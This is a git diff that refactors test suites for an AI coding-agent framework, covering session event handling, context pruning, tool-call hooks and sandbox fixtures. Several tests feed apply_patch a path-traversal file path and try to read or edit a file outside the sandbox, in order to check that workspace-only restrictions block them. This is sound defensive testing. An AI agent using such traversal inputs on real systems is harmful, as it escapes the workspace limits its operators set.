subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
const { emit, onAgentEvent } = createAgentEventHarness({
runId: "run-error",
onAgentEvent,
sessionKey: "test-session",
});
@@ -525,10 +400,10 @@ describe("subscribeEmbeddedPiSession", () => {
} as AssistantMessage;
// Simulate message update to set lastAssistant
handler?.({ type: "message_update", message: assistantMessage });
emit({ type: "message_update", message: assistantMessage });
// Trigger agent_end
handler?.({ type: "agent_end" });
emit({ type: "agent_end" });
// Look for lifecycle:error event
const lifecycleError = onAgentEvent.mock.calls.find(
@@ -536,6 +411,6 @@ describe("subscribeEmbeddedPiSession", () => {
);
expect(lifecycleError).toBeDefined();
expect(lifecycleError[0].data.error).toContain("API rate limit reached");
expect(lifecycleError?.[0]?.data?.error).toContain("API rate limit reached");
});
});

View File

@@ -1,149 +1,101 @@
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
function createBlockReplyHarness(blockReplyBreak: "message_end" | "text_end") {
const { session, emit } = createStubSessionHarness();
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session,
runId: "run",
onBlockReply,
blockReplyBreak,
});
return { emit, onBlockReply };
}
async function emitMessageToolLifecycle(params: {
emit: (evt: unknown) => void;
toolCallId: string;
message: string;
result: unknown;
}) {
params.emit({
type: "tool_execution_start",
toolName: "message",
toolCallId: params.toolCallId,
args: { action: "send", to: "+1555", message: params.message },
});
// Wait for async handler to complete.
await Promise.resolve();
params.emit({
type: "tool_execution_end",
toolName: "message",
toolCallId: params.toolCallId,
isError: false,
result: params.result,
});
}
function emitAssistantMessageEnd(emit: (evt: unknown) => void, text: string) {
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text }],
} as AssistantMessage;
emit({ type: "message_end", message: assistantMessage });
}
function emitAssistantTextEndBlock(emit: (evt: unknown) => void, text: string) {
emit({ type: "message_start", message: { role: "assistant" } });
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: text },
});
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_end" },
});
}
describe("subscribeEmbeddedPiSession", () => {
it("suppresses message_end block replies when the message tool already sent", async () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onBlockReply,
blockReplyBreak: "message_end",
});
const { emit, onBlockReply } = createBlockReplyHarness("message_end");
const messageText = "This is the answer.";
handler?.({
type: "tool_execution_start",
toolName: "message",
await emitMessageToolLifecycle({
emit,
toolCallId: "tool-message-1",
args: { action: "send", to: "+1555", message: messageText },
});
// Wait for async handler to complete
await Promise.resolve();
handler?.({
type: "tool_execution_end",
toolName: "message",
toolCallId: "tool-message-1",
isError: false,
message: messageText,
result: "ok",
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text: messageText }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emitAssistantMessageEnd(emit, messageText);
expect(onBlockReply).not.toHaveBeenCalled();
});
it("does not suppress message_end replies when message tool reports error", async () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onBlockReply,
blockReplyBreak: "message_end",
});
const { emit, onBlockReply } = createBlockReplyHarness("message_end");
const messageText = "Please retry the send.";
handler?.({
type: "tool_execution_start",
toolName: "message",
await emitMessageToolLifecycle({
emit,
toolCallId: "tool-message-err",
args: { action: "send", to: "+1555", message: messageText },
});
// Wait for async handler to complete
await Promise.resolve();
handler?.({
type: "tool_execution_end",
toolName: "message",
toolCallId: "tool-message-err",
isError: false,
message: messageText,
result: { details: { status: "error" } },
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text: messageText }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emitAssistantMessageEnd(emit, messageText);
expect(onBlockReply).toHaveBeenCalledTimes(1);
});
it("clears block reply state on message_start", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onBlockReply,
blockReplyBreak: "text_end",
});
handler?.({ type: "message_start", message: { role: "assistant" } });
handler?.({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: "OK" },
});
handler?.({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_end" },
});
const { emit, onBlockReply } = createBlockReplyHarness("text_end");
emitAssistantTextEndBlock(emit, "OK");
expect(onBlockReply).toHaveBeenCalledTimes(1);
// New assistant message with identical output should still emit.
handler?.({ type: "message_start", message: { role: "assistant" } });
handler?.({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: "OK" },
});
handler?.({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_end" },
});
emitAssistantTextEndBlock(emit, "OK");
expect(onBlockReply).toHaveBeenCalledTimes(2);
});
});

View File

@@ -1,30 +1,15 @@
import { describe, expect, it, vi } from "vitest";
import { onAgentEvent } from "../infra/agent-events.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
import { createSubscribedSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
describe("subscribeEmbeddedPiSession", () => {
it("waits for multiple compaction retries before resolving", async () => {
const listeners: SessionEventHandler[] = [];
const session = {
subscribe: (listener: SessionEventHandler) => {
listeners.push(listener);
return () => {};
},
} as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"];
const subscription = subscribeEmbeddedPiSession({
session,
const { emit, subscription } = createSubscribedSessionHarness({
runId: "run-3",
});
for (const listener of listeners) {
listener({ type: "auto_compaction_end", willRetry: true });
listener({ type: "auto_compaction_end", willRetry: true });
}
emit({ type: "auto_compaction_end", willRetry: true });
emit({ type: "auto_compaction_end", willRetry: true });
let resolved = false;
const waitPromise = subscription.waitForCompactionRetry().then(() => {
@@ -34,30 +19,21 @@ describe("subscribeEmbeddedPiSession", () => {
await Promise.resolve();
expect(resolved).toBe(false);
for (const listener of listeners) {
listener({ type: "agent_end" });
}
emit({ type: "agent_end" });
await Promise.resolve();
expect(resolved).toBe(false);
for (const listener of listeners) {
listener({ type: "agent_end" });
}
emit({ type: "agent_end" });
await waitPromise;
expect(resolved).toBe(true);
});
it("emits compaction events on the agent event bus", async () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit } = createSubscribedSessionHarness({
runId: "run-compaction",
});
const events: Array<{ phase: string; willRetry?: boolean }> = [];
const stop = onAgentEvent((evt) => {
if (evt.runId !== "run-compaction") {
@@ -73,14 +49,9 @@ describe("subscribeEmbeddedPiSession", () => {
});
});
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run-compaction",
});
handler?.({ type: "auto_compaction_start" });
handler?.({ type: "auto_compaction_end", willRetry: true });
handler?.({ type: "auto_compaction_end", willRetry: false });
emit({ type: "auto_compaction_start" });
emit({ type: "auto_compaction_end", willRetry: true });
emit({ type: "auto_compaction_end", willRetry: false });
stop();
@@ -92,25 +63,13 @@ describe("subscribeEmbeddedPiSession", () => {
});
it("rejects compaction wait with AbortError when unsubscribed", async () => {
const listeners: SessionEventHandler[] = [];
const abortCompaction = vi.fn();
const session = {
isCompacting: true,
abortCompaction,
subscribe: (listener: SessionEventHandler) => {
listeners.push(listener);
return () => {};
},
} as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"];
const subscription = subscribeEmbeddedPiSession({
session,
const { emit, subscription } = createSubscribedSessionHarness({
runId: "run-abort-on-unsubscribe",
sessionExtras: { isCompacting: true, abortCompaction },
});
for (const listener of listeners) {
listener({ type: "auto_compaction_start" });
}
emit({ type: "auto_compaction_start" });
const waitPromise = subscription.waitForCompactionRetry();
subscription.unsubscribe();
@@ -123,24 +82,14 @@ describe("subscribeEmbeddedPiSession", () => {
});
it("emits tool summaries at tool start when verbose is on", async () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onToolResult = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
const toolHarness = createSubscribedSessionHarness({
runId: "run-tool",
verboseLevel: "on",
onToolResult,
});
handler?.({
toolHarness.emit({
type: "tool_execution_start",
toolName: "read",
toolCallId: "tool-1",
@@ -154,7 +103,7 @@ describe("subscribeEmbeddedPiSession", () => {
const payload = onToolResult.mock.calls[0][0];
expect(payload.text).toContain("/tmp/a.txt");
handler?.({
toolHarness.emit({
type: "tool_execution_end",
toolName: "read",
toolCallId: "tool-1",
@@ -165,24 +114,15 @@ describe("subscribeEmbeddedPiSession", () => {
expect(onToolResult).toHaveBeenCalledTimes(1);
});
it("includes browser action metadata in tool summaries", async () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onToolResult = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
const toolHarness = createSubscribedSessionHarness({
runId: "run-browser-tool",
verboseLevel: "on",
onToolResult,
});
handler?.({
toolHarness.emit({
type: "tool_execution_start",
toolName: "browser",
toolCallId: "tool-browser-1",
@@ -201,24 +141,15 @@ describe("subscribeEmbeddedPiSession", () => {
});
it("emits exec output in full verbose mode and includes PTY indicator", async () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onToolResult = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
const toolHarness = createSubscribedSessionHarness({
runId: "run-exec-full",
verboseLevel: "full",
onToolResult,
});
handler?.({
toolHarness.emit({
type: "tool_execution_start",
toolName: "exec",
toolCallId: "tool-exec-1",
@@ -232,7 +163,7 @@ describe("subscribeEmbeddedPiSession", () => {
expect(summary.text).toContain("Exec");
expect(summary.text).toContain("pty");
handler?.({
toolHarness.emit({
type: "tool_execution_end",
toolName: "exec",
toolCallId: "tool-exec-1",
@@ -247,7 +178,7 @@ describe("subscribeEmbeddedPiSession", () => {
expect(output.text).toContain("hello");
expect(output.text).toContain("```txt");
handler?.({
toolHarness.emit({
type: "tool_execution_end",
toolName: "read",
toolCallId: "tool-read-1",

View File

@@ -78,6 +78,40 @@ function makeUser(text: string): AgentMessage {
return { role: "user", content: text, timestamp: Date.now() };
}
type ContextHandler = (
event: { messages: AgentMessage[] },
ctx: ExtensionContext,
) => { messages: AgentMessage[] } | undefined;
function createContextHandler(): ContextHandler {
let handler: ContextHandler | undefined;
const api = {
on: (name: string, fn: unknown) => {
if (name === "context") {
handler = fn as ContextHandler;
}
},
appendEntry: (_type: string, _data?: unknown) => {},
} as unknown as ExtensionAPI;
contextPruningExtension(api);
if (!handler) {
throw new Error("missing context handler");
}
return handler;
}
function runContextHandler(
handler: ContextHandler,
messages: AgentMessage[],
sessionManager: unknown,
) {
return handler({ messages }, {
model: undefined,
sessionManager,
} as unknown as ExtensionContext);
}
describe("context-pruning", () => {
it("mode off disables pruning", () => {
expect(computeEffectiveSettings({ mode: "off" })).toBeNull();
@@ -281,32 +315,8 @@ describe("context-pruning", () => {
makeAssistant("a2"),
];
let handler:
| ((
event: { messages: AgentMessage[] },
ctx: ExtensionContext,
) => { messages: AgentMessage[] } | undefined)
| undefined;
const api = {
on: (name: string, fn: unknown) => {
if (name === "context") {
handler = fn as typeof handler;
}
},
appendEntry: (_type: string, _data?: unknown) => {},
} as unknown as ExtensionAPI;
contextPruningExtension(api);
if (!handler) {
throw new Error("missing context handler");
}
const result = handler({ messages }, {
model: undefined,
sessionManager,
} as unknown as ExtensionContext);
const handler = createContextHandler();
const result = runContextHandler(handler, messages, sessionManager);
if (!result) {
throw new Error("expected handler to return messages");
@@ -343,31 +353,8 @@ describe("context-pruning", () => {
}),
];
let handler:
| ((
event: { messages: AgentMessage[] },
ctx: ExtensionContext,
) => { messages: AgentMessage[] } | undefined)
| undefined;
const api = {
on: (name: string, fn: unknown) => {
if (name === "context") {
handler = fn as typeof handler;
}
},
appendEntry: (_type: string, _data?: unknown) => {},
} as unknown as ExtensionAPI;
contextPruningExtension(api);
if (!handler) {
throw new Error("missing context handler");
}
const first = handler({ messages }, {
model: undefined,
sessionManager,
} as unknown as ExtensionContext);
const handler = createContextHandler();
const first = runContextHandler(handler, messages, sessionManager);
if (!first) {
throw new Error("expected first prune");
}
@@ -379,10 +366,7 @@ describe("context-pruning", () => {
}
expect(runtime.lastCacheTouchAt).toBeGreaterThan(lastTouch);
const second = handler({ messages }, {
model: undefined,
sessionManager,
} as unknown as ExtensionContext);
const second = runContextHandler(handler, messages, sessionManager);
expect(second).toBeUndefined();
});

View File

@@ -25,6 +25,36 @@ vi.mock("./pi-tools.before-tool-call.js", () => ({
runBeforeToolCallHook: hookMocks.runBeforeToolCallHook,
}));
function createReadTool() {
return {
name: "read",
label: "Read",
description: "reads",
parameters: {},
execute: vi.fn(async () => ({ content: [], details: { ok: true } })),
} satisfies AgentTool<unknown, unknown>;
}
function enableAfterToolCallHook() {
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
}
async function executeReadTool(callId: string) {
const defs = toToolDefinitions([createReadTool()]);
return await defs[0].execute(callId, { path: "/tmp/file" }, undefined, undefined);
}
function expectReadAfterToolCallPayload(result: Awaited<ReturnType<typeof executeReadTool>>) {
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledWith(
{
toolName: "read",
params: { mode: "safe" },
result,
},
{ toolName: "read" },
);
}
describe("pi tool definition adapter after_tool_call", () => {
beforeEach(() => {
hookMocks.runner.hasHooks.mockReset();
@@ -42,68 +72,31 @@ describe("pi tool definition adapter after_tool_call", () => {
});
it("dispatches after_tool_call once on successful adapter execution", async () => {
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
enableAfterToolCallHook();
hookMocks.runBeforeToolCallHook.mockResolvedValue({
blocked: false,
params: { mode: "safe" },
});
const tool = {
name: "read",
label: "Read",
description: "reads",
parameters: {},
execute: vi.fn(async () => ({ content: [], details: { ok: true } })),
} satisfies AgentTool<unknown, unknown>;
const defs = toToolDefinitions([tool]);
const result = await defs[0].execute("call-ok", { path: "/tmp/file" }, undefined, undefined);
const result = await executeReadTool("call-ok");
expect(result.details).toMatchObject({ ok: true });
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledTimes(1);
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledWith(
{
toolName: "read",
params: { mode: "safe" },
result,
},
{ toolName: "read" },
);
expectReadAfterToolCallPayload(result);
});
it("uses wrapped-tool adjusted params for after_tool_call payload", async () => {
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
enableAfterToolCallHook();
hookMocks.isToolWrappedWithBeforeToolCallHook.mockReturnValue(true);
hookMocks.consumeAdjustedParamsForToolCall.mockReturnValue({ mode: "safe" });
const tool = {
name: "read",
label: "Read",
description: "reads",
parameters: {},
execute: vi.fn(async () => ({ content: [], details: { ok: true } })),
} satisfies AgentTool<unknown, unknown>;
const defs = toToolDefinitions([tool]);
const result = await defs[0].execute(
"call-ok-wrapped",
{ path: "/tmp/file" },
undefined,
undefined,
);
const result = await executeReadTool("call-ok-wrapped");
expect(result.details).toMatchObject({ ok: true });
expect(hookMocks.runBeforeToolCallHook).not.toHaveBeenCalled();
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledWith(
{
toolName: "read",
params: { mode: "safe" },
result,
},
{ toolName: "read" },
);
expectReadAfterToolCallPayload(result);
});
it("dispatches after_tool_call once on adapter error with normalized tool name", async () => {
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
enableAfterToolCallHook();
const tool = {
name: "bash",
label: "Bash",
@@ -134,18 +127,9 @@ describe("pi tool definition adapter after_tool_call", () => {
});
it("does not break execution when after_tool_call hook throws", async () => {
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
enableAfterToolCallHook();
hookMocks.runner.runAfterToolCall.mockRejectedValue(new Error("hook failed"));
const tool = {
name: "read",
label: "Read",
description: "reads",
parameters: {},
execute: vi.fn(async () => ({ content: [], details: { ok: true } })),
} satisfies AgentTool<unknown, unknown>;
const defs = toToolDefinitions([tool]);
const result = await defs[0].execute("call-ok2", { path: "/tmp/file" }, undefined, undefined);
const result = await executeReadTool("call-ok2");
expect(result.details).toMatchObject({ ok: true });
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledTimes(1);

View File

@@ -27,6 +27,64 @@ describe("Agent-specific tool filtering", () => {
stat: async () => null,
};
async function withApplyPatchEscapeCase(
opts: { workspaceOnly?: boolean },
run: (params: {
applyPatchTool: ToolWithExecute;
escapedPath: string;
patch: string;
}) => Promise<void>,
) {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-"));
const escapedPath = path.join(
path.dirname(workspaceDir),
`escaped-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`,
);
const relativeEscape = path.relative(workspaceDir, escapedPath);
try {
const cfg: OpenClawConfig = {
tools: {
allow: ["read", "exec"],
exec: {
applyPatch: {
enabled: true,
...(opts.workspaceOnly === false ? { workspaceOnly: false } : {}),
},
},
},
};
const tools = createOpenClawCodingTools({
config: cfg,
sessionKey: "agent:main:main",
workspaceDir,
agentDir: "/tmp/agent",
modelProvider: "openai",
modelId: "gpt-5.2",
});
const applyPatchTool = tools.find((t) => t.name === "apply_patch");
if (!applyPatchTool) {
throw new Error("apply_patch tool missing");
}
const patch = `*** Begin Patch
*** Add File: ${relativeEscape}
+escaped
*** End Patch`;
await run({
applyPatchTool: applyPatchTool as unknown as ToolWithExecute,
escapedPath,
patch,
});
} finally {
await fs.rm(escapedPath, { force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
}
}
it("should apply global tool policy when no agent-specific policy exists", () => {
const cfg: OpenClawConfig = {
tools: {
@@ -118,96 +176,23 @@ describe("Agent-specific tool filtering", () => {
});
it("defaults apply_patch to workspace-only (blocks traversal)", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-"));
const escapedPath = path.join(
path.dirname(workspaceDir),
`escaped-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`,
);
const relativeEscape = path.relative(workspaceDir, escapedPath);
try {
const cfg: OpenClawConfig = {
tools: {
allow: ["read", "exec"],
exec: {
applyPatch: { enabled: true },
},
},
};
const tools = createOpenClawCodingTools({
config: cfg,
sessionKey: "agent:main:main",
workspaceDir,
agentDir: "/tmp/agent",
modelProvider: "openai",
modelId: "gpt-5.2",
});
const applyPatchTool = tools.find((t) => t.name === "apply_patch");
if (!applyPatchTool) {
throw new Error("apply_patch tool missing");
}
const patch = `*** Begin Patch
*** Add File: ${relativeEscape}
+escaped
*** End Patch`;
await expect(
(applyPatchTool as unknown as ToolWithExecute).execute("tc1", { input: patch }),
).rejects.toThrow(/Path escapes sandbox root/);
await withApplyPatchEscapeCase({}, async ({ applyPatchTool, escapedPath, patch }) => {
await expect(applyPatchTool.execute("tc1", { input: patch })).rejects.toThrow(
/Path escapes sandbox root/,
);
await expect(fs.readFile(escapedPath, "utf8")).rejects.toBeDefined();
} finally {
await fs.rm(escapedPath, { force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
}
});
});
it("allows disabling apply_patch workspace-only via config (dangerous)", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-"));
const escapedPath = path.join(
path.dirname(workspaceDir),
`escaped-allow-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`,
await withApplyPatchEscapeCase(
{ workspaceOnly: false },
async ({ applyPatchTool, escapedPath, patch }) => {
await applyPatchTool.execute("tc2", { input: patch });
const contents = await fs.readFile(escapedPath, "utf8");
expect(contents).toBe("escaped\n");
},
);
const relativeEscape = path.relative(workspaceDir, escapedPath);
try {
const cfg: OpenClawConfig = {
tools: {
allow: ["read", "exec"],
exec: {
applyPatch: { enabled: true, workspaceOnly: false },
},
},
};
const tools = createOpenClawCodingTools({
config: cfg,
sessionKey: "agent:main:main",
workspaceDir,
agentDir: "/tmp/agent",
modelProvider: "openai",
modelId: "gpt-5.2",
});
const applyPatchTool = tools.find((t) => t.name === "apply_patch");
if (!applyPatchTool) {
throw new Error("apply_patch tool missing");
}
const patch = `*** Begin Patch
*** Add File: ${relativeEscape}
+escaped
*** End Patch`;
await (applyPatchTool as unknown as ToolWithExecute).execute("tc2", { input: patch });
const contents = await fs.readFile(escapedPath, "utf8");
expect(contents).toBe("escaped\n");
} finally {
await fs.rm(escapedPath, { force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
}
});
it("should apply agent-specific tool policy", () => {

View File

@@ -88,19 +88,28 @@ function createSandbox(params: {
};
}
async function withUnsafeMountedSandboxHarness(
run: (ctx: { sandboxRoot: string; agentRoot: string; sandbox: SandboxContext }) => Promise<void>,
) {
const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-sbx-mounts-"));
const sandboxRoot = path.join(stateDir, "sandbox");
const agentRoot = path.join(stateDir, "agent");
await fs.mkdir(sandboxRoot, { recursive: true });
await fs.mkdir(agentRoot, { recursive: true });
const bridge = createUnsafeMountedBridge({ root: sandboxRoot, agentHostRoot: agentRoot });
const sandbox = createSandbox({ sandboxRoot, agentRoot, fsBridge: bridge });
try {
await run({ sandboxRoot, agentRoot, sandbox });
} finally {
await fs.rm(stateDir, { recursive: true, force: true });
}
}
describe("tools.fs.workspaceOnly", () => {
it("defaults to allowing sandbox mounts outside the workspace root", async () => {
const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-sbx-mounts-"));
const sandboxRoot = path.join(stateDir, "sandbox");
const agentRoot = path.join(stateDir, "agent");
await fs.mkdir(sandboxRoot, { recursive: true });
await fs.mkdir(agentRoot, { recursive: true });
try {
await withUnsafeMountedSandboxHarness(async ({ sandboxRoot, agentRoot, sandbox }) => {
await fs.writeFile(path.join(agentRoot, "secret.txt"), "shh", "utf8");
const bridge = createUnsafeMountedBridge({ root: sandboxRoot, agentHostRoot: agentRoot });
const sandbox = createSandbox({ sandboxRoot, agentRoot, fsBridge: bridge });
const tools = createOpenClawCodingTools({ sandbox, workspaceDir: sandboxRoot });
const readTool = tools.find((tool) => tool.name === "read");
const writeTool = tools.find((tool) => tool.name === "write");
@@ -112,23 +121,13 @@ describe("tools.fs.workspaceOnly", () => {
await writeTool?.execute("t2", { path: "/agent/owned.txt", content: "x" });
expect(await fs.readFile(path.join(agentRoot, "owned.txt"), "utf8")).toBe("x");
} finally {
await fs.rm(stateDir, { recursive: true, force: true });
}
});
});
it("rejects sandbox mounts outside the workspace root when enabled", async () => {
const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-sbx-mounts-"));
const sandboxRoot = path.join(stateDir, "sandbox");
const agentRoot = path.join(stateDir, "agent");
await fs.mkdir(sandboxRoot, { recursive: true });
await fs.mkdir(agentRoot, { recursive: true });
try {
await withUnsafeMountedSandboxHarness(async ({ sandboxRoot, agentRoot, sandbox }) => {
await fs.writeFile(path.join(agentRoot, "secret.txt"), "shh", "utf8");
const bridge = createUnsafeMountedBridge({ root: sandboxRoot, agentHostRoot: agentRoot });
const sandbox = createSandbox({ sandboxRoot, agentRoot, fsBridge: bridge });
const cfg = { tools: { fs: { workspaceOnly: true } } } as unknown as OpenClawConfig;
const tools = createOpenClawCodingTools({ sandbox, workspaceDir: sandboxRoot, config: cfg });
const readTool = tools.find((tool) => tool.name === "read");
@@ -153,8 +152,6 @@ describe("tools.fs.workspaceOnly", () => {
editTool?.execute("t3", { path: "/agent/secret.txt", oldText: "shh", newText: "nope" }),
).rejects.toThrow(/Path escapes sandbox root/i);
expect(await fs.readFile(path.join(agentRoot, "secret.txt"), "utf8")).toBe("shh");
} finally {
await fs.rm(stateDir, { recursive: true, force: true });
}
});
});
});

View File

@@ -7,39 +7,21 @@ vi.mock("./docker.js", () => ({
import type { SandboxContext } from "./types.js";
import { execDockerRaw } from "./docker.js";
import { createSandboxFsBridge } from "./fs-bridge.js";
import { createSandboxTestContext } from "./test-fixtures.js";
const mockedExecDockerRaw = vi.mocked(execDockerRaw);
function createSandbox(overrides?: Partial<SandboxContext>): SandboxContext {
return {
enabled: true,
sessionKey: "sandbox:test",
workspaceDir: "/tmp/workspace",
agentWorkspaceDir: "/tmp/workspace",
workspaceAccess: "rw",
containerName: "moltbot-sbx-test",
containerWorkdir: "/workspace",
docker: {
return createSandboxTestContext({
overrides: {
containerName: "moltbot-sbx-test",
...overrides,
},
dockerOverrides: {
image: "moltbot-sandbox:bookworm-slim",
containerPrefix: "moltbot-sbx-",
network: "none",
user: "1000:1000",
workdir: "/workspace",
readOnlyRoot: false,
tmpfs: [],
capDrop: [],
seccompProfile: "",
apparmorProfile: "",
setupCommand: "",
binds: [],
dns: [],
extraHosts: [],
pidsLimit: 0,
},
tools: { allow: ["*"], deny: [] },
browserAllowHostControl: false,
...overrides,
};
});
}
describe("sandbox fs bridge shell compatibility", () => {

View File

@@ -6,37 +6,10 @@ import {
parseSandboxBindMount,
resolveSandboxFsPathWithMounts,
} from "./fs-paths.js";
import { createSandboxTestContext } from "./test-fixtures.js";
function createSandbox(overrides?: Partial<SandboxContext>): SandboxContext {
return {
enabled: true,
sessionKey: "sandbox:test",
workspaceDir: "/tmp/workspace",
agentWorkspaceDir: "/tmp/workspace",
workspaceAccess: "rw",
containerName: "openclaw-sbx-test",
containerWorkdir: "/workspace",
docker: {
image: "openclaw-sandbox:bookworm-slim",
containerPrefix: "openclaw-sbx-",
network: "none",
user: "1000:1000",
workdir: "/workspace",
readOnlyRoot: false,
tmpfs: [],
capDrop: [],
seccompProfile: "",
apparmorProfile: "",
setupCommand: "",
binds: [],
dns: [],
extraHosts: [],
pidsLimit: 0,
},
tools: { allow: ["*"], deny: [] },
browserAllowHostControl: false,
...overrides,
};
return createSandboxTestContext({ overrides });
}
describe("parseSandboxBindMount", () => {

View File

@@ -0,0 +1,42 @@
import type { SandboxContext } from "./types.js";
export function createSandboxTestContext(params?: {
overrides?: Partial<SandboxContext>;
dockerOverrides?: Partial<SandboxContext["docker"]>;
}): SandboxContext {
const overrides = params?.overrides ?? {};
const { docker: _unusedDockerOverrides, ...sandboxOverrides } = overrides;
const docker = {
image: "openclaw-sandbox:bookworm-slim",
containerPrefix: "openclaw-sbx-",
network: "none",
user: "1000:1000",
workdir: "/workspace",
readOnlyRoot: false,
tmpfs: [],
capDrop: [],
seccompProfile: "",
apparmorProfile: "",
setupCommand: "",
binds: [],
dns: [],
extraHosts: [],
pidsLimit: 0,
...overrides.docker,
...params?.dockerOverrides,
};
return {
enabled: true,
sessionKey: "sandbox:test",
workspaceDir: "/tmp/workspace",
agentWorkspaceDir: "/tmp/workspace",
workspaceAccess: "rw",
containerName: "openclaw-sbx-test",
containerWorkdir: "/workspace",
tools: { allow: ["*"], deny: [] },
browserAllowHostControl: false,
...sandboxOverrides,
docker,
};
}

View File

@@ -4,24 +4,29 @@ import path from "node:path";
import { describe, expect, it, vi } from "vitest";
import { repairSessionFileIfNeeded } from "./session-file-repair.js";
function buildSessionHeaderAndMessage() {
const header = {
type: "session",
version: 7,
id: "session-1",
timestamp: new Date().toISOString(),
cwd: "/tmp",
};
const message = {
type: "message",
id: "msg-1",
parentId: null,
timestamp: new Date().toISOString(),
message: { role: "user", content: "hello" },
};
return { header, message };
}
describe("repairSessionFileIfNeeded", () => {
it("rewrites session files that contain malformed lines", async () => {
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-session-repair-"));
const file = path.join(dir, "session.jsonl");
const header = {
type: "session",
version: 7,
id: "session-1",
timestamp: new Date().toISOString(),
cwd: "/tmp",
};
const message = {
type: "message",
id: "msg-1",
parentId: null,
timestamp: new Date().toISOString(),
message: { role: "user", content: "hello" },
};
const { header, message } = buildSessionHeaderAndMessage();
const content = `${JSON.stringify(header)}\n${JSON.stringify(message)}\n{"type":"message"`;
await fs.writeFile(file, content, "utf-8");
@@ -43,20 +48,7 @@ describe("repairSessionFileIfNeeded", () => {
it("does not drop CRLF-terminated JSONL lines", async () => {
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-session-repair-"));
const file = path.join(dir, "session.jsonl");
const header = {
type: "session",
version: 7,
id: "session-1",
timestamp: new Date().toISOString(),
cwd: "/tmp",
};
const message = {
type: "message",
id: "msg-1",
parentId: null,
timestamp: new Date().toISOString(),
message: { role: "user", content: "hello" },
};
const { header, message } = buildSessionHeaderAndMessage();
const content = `${JSON.stringify(header)}\r\n${JSON.stringify(message)}\r\n`;
await fs.writeFile(file, content, "utf-8");

